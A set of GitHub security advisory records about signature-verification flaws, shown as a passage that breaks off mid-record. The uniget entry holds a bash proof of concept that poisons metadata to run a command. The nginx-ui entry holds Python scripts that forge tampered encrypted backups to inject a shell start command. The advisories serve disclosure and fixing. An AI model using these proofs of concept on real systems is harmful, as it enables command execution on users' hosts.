CWE-347

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "elliptic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-48948"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-17T22:05:18Z",
    "nvd_published_at": "2024-10-15T14:15:05Z",
    "severity": "LOW"
  },
  "details": "The Elliptic prior to 6.6.0 for Node.js, in its for ECDSA implementation, does not correctly verify valid signatures if the hash contains at least four leading 0 bytes and when the order of the elliptic curve\u0027s base point is smaller than the hash, because of an _truncateToN anomaly. This leads to valid signatures being rejected. Legitimate transactions or communications may be incorrectly flagged as invalid.",
  "id": "GHSA-fc9h-whq2-v747",
  "modified": "2025-11-27T08:43:15Z",
  "published": "2024-10-15T15:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48948"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/elliptic/issues/321"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/elliptic/pull/322"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/elliptic/commit/34c853478cec1be4e37260ed2cb12cdbdc6402cf"
    },
    {
      "type": "WEB",
      "url": "https://blog.trailofbits.com/2025/11/18/we-found-cryptography-bugs-in-the-elliptic-library-using-wycheproof"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/indutny/elliptic"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241220-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Valid ECDSA signatures erroneously rejected in Elliptic"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-1150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-08T13:15:09Z",
    "severity": "HIGH"
  },
  "details": "Improper Verification of Cryptographic Signature vulnerability in Snow Software Inventory Agent on Unix allows File Manipulation through Snow Update Packages.This issue affects Inventory Agent: through 7.3.1.\n\n",
  "id": "GHSA-fcj4-pm86-7gjw",
  "modified": "2024-02-08T15:30:27Z",
  "published": "2024-02-08T15:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1150"
    },
    {
      "type": "WEB",
      "url": "https://community.snowsoftware.com/s/feed/0D5Td000004YtMcKAK"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-14837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T08:16:17Z",
    "severity": "HIGH"
  },
  "details": "Multiple Lenze products are affected by an improper signature verification vulnerability in the SSH enablement mechanism. A low-privileged local attacker can bypass verification of the SSH enable file signature and enable SSH access on the device. Successful exploitation may result in unauthorized administrative access and complete system compromise.",
  "id": "GHSA-fcw6-hwx8-wwx8",
  "modified": "2026-07-27T09:31:26Z",
  "published": "2026-07-27T09:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14837"
    },
    {
      "type": "WEB",
      "url": "https://www.certvde.com/en/advisories/VDE-2026-077"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-16152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-26T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "In verify_emsa_pkcs1_signature() in gmp_rsa_public_key.c in the gmp plugin in strongSwan 4.x and 5.x before 5.7.0, the RSA implementation based on GMP does not reject excess data in the digestAlgorithm.parameters field during PKCS#1 v1.5 signature verification. Consequently, a remote attacker can forge signatures when small public exponents are being used, which could lead to impersonation when only an RSA signature is used for IKEv2 authentication. This is a variant of CVE-2006-4790 and CVE-2014-1568.",
  "id": "GHSA-ff5x-x5ch-2x28",
  "modified": "2025-12-03T21:30:55Z",
  "published": "2022-05-13T01:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16152"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201811-16"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3771-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4305"
    },
    {
      "type": "WEB",
      "url": "https://www.strongswan.org/blog/2018/09/24/strongswan-vulnerability-%28cve-2018-16151%2C-cve-2018-16152%29.html"
    },
    {
      "type": "WEB",
      "url": "https://www.strongswan.org/blog/2018/09/24/strongswan-vulnerability-(cve-2018-16151,-cve-2018-16152).html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-11/msg00077.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-12/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00047.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-57098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T18:17:42Z",
    "severity": "HIGH"
  },
  "details": "Improper verification of cryptographic signature in Windows RDP Client allows an unauthorized attacker to disclose information over a network.",
  "id": "GHSA-ffcr-244p-cmjq",
  "modified": "2026-09-08T18:32:03Z",
  "published": "2026-09-08T18:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57098"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57098"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "golang.org/x/crypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20200220183623-bac4c82f6975"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-9283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-17T22:02:30Z",
    "nvd_published_at": "2020-02-20T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "golang.org/x/crypto before v0.0.0-20200220183623-bac4c82f6975 for Go allows a panic during signature verification in the golang.org/x/crypto/ssh package. A client can attack an SSH server that accepts public keys. Also, a server can attack any SSH client.",
  "id": "GHSA-ffhg-7mh4-33c4",
  "modified": "2023-02-16T00:14:18Z",
  "published": "2021-05-18T15:29:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/golang/crypto"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/220357"
    },
    {
      "type": "WEB",
      "url": "https://go.googlesource.com/crypto/+/bac4c82f69751a6dd76e702d54b3ceb88adab236"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!topic/golang-announce/3L45YRc91SY"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/3L45YRc91SY"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/10/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/11/msg00027.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/11/msg00031.html"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2020-0012"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/48121"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/156480/Go-SSH-0.0.2-Denial-Of-Service.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Verification of Cryptographic Signature in golang.org/x/crypto"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-74244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-14T23:16:34Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in Red Hat Quay\u0027s Stripe billing webhook handler. This vulnerability allows an unauthenticated attacker to forge billing events by sending crafted JSON requests to the `/webhooks/stripe` endpoint without validating the Stripe-Signature header. Successful exploitation can lead to the unauthorized resetting of a namespace\u0027s build quota to its maximum and trigger unsolicited billing emails to namespace administrators.",
  "id": "GHSA-fgq8-mwjv-6335",
  "modified": "2026-08-15T00:31:24Z",
  "published": "2026-08-15T00:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74244"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-74244"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2516143"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitlab.com/uniget-org/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.27.4"
            },
            {
              "fixed": "0.28.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:50:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe sigstore check on `metadata.json` is gated on the wrong side of the condition. `LoadMetadata` in `internal/config/update.go:81` verifies the bundle only when `UNIGET_IGNORE_METADATA_SIGNATURE` is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named \"ignore the signature\" is what turns verification on.\n\nThat matters because `metadata.json` populates `Tool.Check`, and `pkg/tool/tool.go:250` runs `Tool.Check` through `/bin/bash -c`. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs.\n\n## Where it is\n\n`internal/config/update.go:80-100`:\n\n```go\nfunc (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) {\n\tif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0 {\n\t\t_, err = security.VerifySigstoreBundle(\n\t\t\tfilename,\n\t\t\tfilename+\".sigstore.json\",\n\t\t\t...\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error verifying sigstore bundle for metadata: %s\", err)\n\t\t}\n\t}\n\n\tloadedTools, err = tool.LoadFromFile(filename)\n```\n\n`cmd/uniget/main.go:102-105` carries the same flipped condition in the decision about whether to re-download metadata:\n\n```go\nif !myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()) ||\n\tconfiguration.AutoUpdate ||\n\t(len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0 \u0026\u0026\n\t\t!myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()+\".sigstore.json\")) {\n```\n\nso a cached `metadata.json` with no `.sigstore.json` beside it is not refetched either, as long as the variable is unset.\n\n`LoadMetadata` is called from `cmd/uniget/main.go:115` in the persistent pre-run, which means every subcommand loads metadata this way. The sink is `pkg/tool/tool.go:248-251`:\n\n```go\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n\tlogging.Tracef(\"Running version check for %s: %s\", tool.Name, tool.Check)\n\tcmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d \u0027\\n\u0027\")\n```\n\n## How it got this way\n\nThe check was introduced correctly. In d12ef12c (\"fix: Only accept signed metadata\", released as v0.27.1) `VerifySigstoreBundle` was called unconditionally. 370d0155 then wrapped it in `if os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\") != \"true\"`, which is still the right polarity. b68a27d5 (\"fix: Accept any non-empty value\"), which is the commit tagged v0.27.4, rewrote that as `if len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0`. The intent was clearly to accept any truthy value instead of the literal string \"true\", but the negation was dropped in the rewrite and the meaning flipped.\n\n## Proof of concept\n\nBuilt from a clean checkout of the v0.28.2 tag with `go build -o /tmp/unigetbin ./cmd/uniget`, then run in user mode against a poisoned cache with no `metadata.json.sigstore.json` present and `UNIGET_IGNORE_METADATA_SIGNATURE` explicitly removed from the environment.\n\n```bash\nH=/tmp/pochome\nmkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil\ncat \u003e $H/.cache/uniget/metadata.json \u003c\u003c\u0027EOF\u0027\n{\"tools\":[{\"name\":\"evil\",\"version\":\"1.0.0\",\"binary\":\"${target}/bin/evil\",\n\"check\":\"id \u003e /tmp/uniget-rce-proof.txt; echo PWNED\",\"tags\":[\"test\"],\n\"description\":\"poisoned metadata\",\"repository\":\"https://example.com\",\n\"license\":{\"name\":\"MIT\",\"link\":\"https://example.com\"},\n\"sources\":[{\"registry\":\"ghcr.io\",\"repository\":\"uniget-org/tools\"}]}]}\nEOF\nprintf \u0027#!/bin/sh\\necho 1.0.0\\n\u0027 \u003e $H/.local/bin/evil; chmod +x $H/.local/bin/evil\ntouch $H/.cache/uniget/evil/1.0.0\n\nenv -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \\\n  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n  /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nPWNED\n```\n\nand `/tmp/uniget-rce-proof.txt` contains the output of `id`. No signature error was raised, even though there is no bundle file at all.\n\nThe control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a `metadata.json.sigstore.json` exists (deliberately not a valid bundle) and the \"ignore\" variable is set:\n\n```bash\necho \u0027{\"not\":\"a real bundle\"}\u0027 \u003e $H/.cache/uniget/metadata.json.sigstore.json\nUNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \\\n  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n  /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nError: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field \"not\"\n```\n\nSo verification runs when the ignore variable is set, and does not run when it is unset.\n\n## Impact\n\nAnything that can substitute the metadata layer gets command execution as the user running uniget: a compromised or attacker-chosen registry or mirror for `uniget-org/tools`, a tampered tarball on the way into the cache, or a poisoned cache file. The sigstore bundle is the only thing standing between that metadata and `/bin/bash -c`, and right now it is not consulted. Locally this reproduces the CVE-2026-45152 scenario on a supposedly fixed version; the wider concern is that the supply chain check for the tool catalogue is effectively off for every user.\n\n## Suggested fix\n\nInvert the condition so verification is the default and the environment variable opts out:\n\n```go\nif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) == 0 {\n\t_, err = security.VerifySigstoreBundle(...)\n\t...\n}\n```\n\nThe same inversion is needed at `cmd/uniget/main.go:104`, where the re-download decision should be \"the bundle is missing and we are not ignoring signatures\". It would also be worth failing closed when the `.sigstore.json` file is absent rather than treating a missing bundle as nothing to verify.\n\n## Deduplication\n\nCVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the `tool.Check` command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading.\n\n## How I found it and a note on tooling\n\nI was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach `RunVersionCheck`, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it. I used AI tooling while investigating, and I built the CLI at v0.28.2 and ran both the exploit and the control myself before writing this up.",
  "id": "GHSA-fhgh-wq4q-r37x",
  "modified": "2026-08-17T17:50:34Z",
  "published": "2026-08-17T17:50:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/security/advisories/GHSA-fhgh-wq4q-r37x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uniget-org/cli"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/releases/tag/v0.28.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10-0.20260315015203-f61bcec547c0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-347",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T16:23:34Z",
    "nvd_published_at": "2026-03-30T20:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe `nginx-ui` backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.\n\n## Details\nThe backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (`hash_info.txt`) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.\n\nBecause the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.\n\nThe backup system is built around the following workflow:\n\n1. Backup files are compressed into `nginx-ui.zip` and `nginx.zip`.\n2. The files are encrypted using AES-256-CBC.\n3. SHA-256 hashes of the encrypted files are stored in `hash_info.txt`.\n4. The hash file is also encrypted with the same AES key and IV.\n5. The AES key and IV are provided to the client as a \"backup security token\".\n\nThis architecture creates a circular trust model:\n\n- The encryption key is available to the client.\n- The integrity metadata is encrypted with that same key.\n- The restore process trusts hashes contained within the backup itself.\n\nBecause the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.\n\n### Environment\n- **OS**: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)\n- **Application Version**: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)\n- **Deployment**: Docker Container default installation\n- **Relevant Source Files**:\n  - `backup_crypto.go`\n  - `backup.go`\n  - `restore.go`\n  - `SystemRestoreContent.vue`\n\n\n## PoC\n1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file.\n    \u003cimg width=\"1483\" height=\"586\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f\" /\u003e\n\n2. Decrypt the `nginx-ui.zip` archive using the obtained token.\n``` \nimport base64\nimport os\nimport sys\nimport zipfile\nfrom io import BytesIO\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    \n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\ndef process_local_backup(file_path, token, output_dir):\n    key_b64, iv_b64 = token.split(\":\")\n    os.makedirs(output_dir, exist_ok=True)\n    print(f\"[*] File processing: {file_path}\")\n    \n    with zipfile.ZipFile(file_path, \u0027r\u0027) as main_zip:\n        main_zip.extractall(output_dir)\n        \n    files_to_decrypt = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n    \n    for filename in files_to_decrypt:\n        path = os.path.join(output_dir, filename)\n        if os.path.exists(path):\n            with open(path, \"rb\") as f:\n                encrypted = f.read()\n            \n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n            \n            out_path = path + \".decrypted\"\n            with open(out_path, \"wb\") as f:\n                f.write(decrypted)\n            print(f\"[*] Successfully decrypted: {out_path}\")\n\n# Manual config\nBACKUP_FILE = \"backup-20260314-151959.zip\" \nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nOUTPUT = \"decrypted\"\n\nif __name__ == \"__main__\":\n    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)\n```\n\n3. Modify the contained `app.ini` to inject malicious configuration (e.g., `StartCmd = bash`).\n4. Re-compress the files and calculate the new SHA-256 hash.\n5. Update `hash_info.txt` with the new, legitimate-looking hashes for the modified files.\n6. Encrypt the bundle again using the original Key and IV.\n```\nimport base64\nimport hashlib\nimport os\nimport zipfile\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ndef encrypt_file(data, key_b64, iv_b64):\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    return cipher.encrypt(pad(data, AES.block_size))\n\ndef build_rebuilt_backup(files, token, output_filename=\"backup_rebuild.zip\"):\n    key_b64, iv_b64 = token.split(\":\")\n    \n    encrypted_blobs = {}\n    for fname in files:\n        with open(fname, \"rb\") as f:\n            data = f.read()\n        \n        blob = encrypt_file(data, key_b64, iv_b64)\n\n        target_name = fname.replace(\".decrypted\", \"\")\n        encrypted_blobs[target_name] = blob\n        print(f\"[*] Cipher {target_name}: {len(blob)} bytes\")\n\n    hash_content = \"\"\n    for name, blob in encrypted_blobs.items():\n        h = hashlib.sha256(blob).hexdigest()\n        hash_content += f\"{name}: {h}\\n\"\n    \n    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)\n    encrypted_blobs[\"hash_info.txt\"] = encrypted_hash_info\n\n    with zipfile.ZipFile(output_filename, \u0027w\u0027, compression=zipfile.ZIP_DEFLATED) as zf:\n        for name, blob in encrypted_blobs.items():\n            zf.writestr(name, blob)\n            \n    print(f\"\\n[*] Backup rebuild: {output_filename}\")\n    print(f\"[*] Verificando integridad...\")\n\nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nFILES = [\"nginx-ui.zip.decrypted\", \"nginx.zip.decrypted\"]\n\nif __name__ == \"__main__\":\n    build_rebuilt_backup(FILES, TOKEN)\n```\n7. Upload the tampered backup to the `nginx-ui` restore interface.\n   \u003cimg width=\"1059\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a\" /\u003e\n\n\n8. **Observation**: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.\n   \u003cimg width=\"1316\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6\" /\u003e\n\n\n\n## Impact\nAn attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.\n\nPotential impacts include:\n\n- Persistent configuration tampering\n- Backdoor insertion into nginx configuration\n- Execution of attacker-controlled commands depending on configuration settings\n- Full compromise of the nginx-ui instance\n\nThe severity depends on the restore permissions and deployment configuration.\n\n## Recommended Mitigation\n\n1. **Introduce a trusted integrity root**\nIntegrity metadata must not be derived solely from data contained in the backup. Possible solutions include:\n   - Signing backup metadata using a server-side private key\n   - Storing integrity metadata separately from the backup archive\n\n2. **Enforce integrity verification**\nThe restore operation must abort if hash verification fails.\n\n3. **Avoid circular trust models**\nIf encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.\n\n4. **Optional cryptographic improvements**\nWhile not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.\n\nThis vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.\n\n## Regression\n\nThe previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.\n\nThe backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.\n\nAs a result, the fundamental integrity weakness remains exploitable even after the previous fix.\n\nA patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.",
  "id": "GHSA-fhh2-gg7w-gwpq",
  "modified": "2026-07-06T19:35:49Z",
  "published": "2026-03-30T16:23:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33026"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/f61bcec547c0f305e35348d6440ef156c1d5c3cb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g9w5-qffc-6762"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4903"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "nginx-ui Backup Restore Allows Tampering with Encrypted Backups"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "libcrux-ml-dsa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T16:18:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The AVX2 implementation of ML-DSA verification incorrectly implemented\nthe `use_hint` function, mishandling an edge case that should lead to\nsignature rejection.\n\n## Impact\nAn attacker could make the ML-DSA verifier accept a crafted invalid\nsignature under a maliciously generated verification key, if the AVX2\nimplementation is used.\n\n## Mitigation\nFrom version `0.0.9` the edge case is handled correctly and invalid\nsignatures are rejected.",
  "id": "GHSA-fhvh-vw7h-9xf3",
  "modified": "2026-05-19T16:18:53Z",
  "published": "2026-05-19T16:18:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/C2SP/wycheproof/pull/234"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cryspen/libcrux/pull/1398"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tink-crypto/tink-go/pull/48"
    },
    {
      "type": "PACKAGE",
